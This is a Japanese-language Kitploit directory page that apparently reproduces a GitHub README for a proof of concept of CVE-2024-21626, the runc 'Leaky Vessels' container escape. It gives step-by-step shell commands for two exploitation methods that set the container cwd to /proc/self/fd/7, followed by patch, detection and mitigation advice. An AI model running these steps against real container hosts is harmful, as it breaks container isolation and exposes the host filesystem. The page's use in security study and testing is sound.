Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2024-21626-runc-1.1.11-escape — CVE-2024-21626 の PoC: runc は pivot_root の前にホストの CWD を参照する内部 fd をリークし、process.cwd を /proc/self/fd/7 に設定することでコンテナエスケープを可能にする | Kitploit
ツール/GitHubGitHub/strikoder-premium/cve-2024-21626-runc-1.1.11-escape
コンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテストレッドチーミングコンテナエスケープ
GitHubstrikoder-premium/cve-2024-21626-runc-1.1.11-escape

cve-2024-21626-runc-1.1.11-escape

CVE-2024-21626 の PoC: runc は pivot_root の前にホストの CWD を参照する内部 fd をリークし、process.cwd を /proc/self/fd/7 に設定することでコンテナエスケープを可能にする

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
186ヶ月前未レビュー

CVE-2024-21626 - runc Leaky Vessels

概要

フィールド詳細
CVECVE-2024-21626
影響を受けるコンポーネントrunc ≤ 1.1.11
脆弱性クラスファイル記述子リークによるコンテナエスケープ
通称Leaky Vessels

根本原因

runcは、コンテナプロセスを実行する前に、ホストファイルシステムの作業ディレクトリを指す内部ファイル記述子(通常はfd/7)をリークします。config.jsonでコンテナのcwdを/proc/self/fd/7に設定すると、プロセスはコンテナのrootfsではなくホストディレクトリに配置され、コンテナエスケープが達成されます。


悪用方法

方法1 - ホストバイナリからの手動rootfs

ホストから直接バイナリをコピーして最小限のrootfsを構築します:

root@kitploit:~
# 1. ディレクトリ構造を作成
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. バイナリと必要なライブラリをコピー
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. デフォルトのOCI設定を生成
runc spec

# 4. config.json内のcwdをリークしたホストfdを指すように変更
# 変更前: "cwd": "/"
# 変更後: "cwd": "/proc/self/fd/7"
vi config.json

# 5. 脆弱なruncバイナリでコンテナを実行
sudo /opt/debug --log /tmp/log.json run strikontainer

何が起こるか: runcは、コンテナのrootfsに切り替える前に、ホストのCWDを参照するfd/7をオープンします。cwdを/proc/self/fd/7に設定すると、runcはコンテナのパスではなくホストパスにchdir()するため、実際のファイルシステムに配置されます。


方法2 - Alpine Dockerイメージをrootfsとして使用

より完全な環境が必要な場合、またはホストにバイナリが限られている場合:

root@kitploit:~
# --- 攻撃マシン上 ---
# 最小限のAlpineファイルシステムをエクスポート
docker export $(docker create alpine:latest) > alpine.tar

# alpine.tarをターゲットに転送し、次を実行:

# --- ターゲット上 ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# OCIバンドル設定を生成
runc spec

# cwdを修正(方法1と同じ)
vi config.json
# "cwd": "/proc/self/fd/7"

# 実行
sudo /opt/debug --log /tmp/log.json run strikontainer

検出と緩和策

  • パッチ: runcを**≥ 1.1.12**(または≥ 1.2.0-rc.2)にアップグレード
  • 検出: コンテナのcwd設定内での/proc/self/fd/に対するopenat()を監視; cwdに/proc/self/fdを含むOCIバンドルをアラート
  • 緩和: /procへのアクセスを制限するseccompプロファイルを使用; より強力な分離のためにrootlessコンテナやgVisor/Kataを検討

参考資料

  • NVD: CVE-2024-21626
  • runc GitHub Security Advisory
  • Snyk Leaky Vessels Blog
  • HackTheBox - GiveBack machine
ツールをダウンロード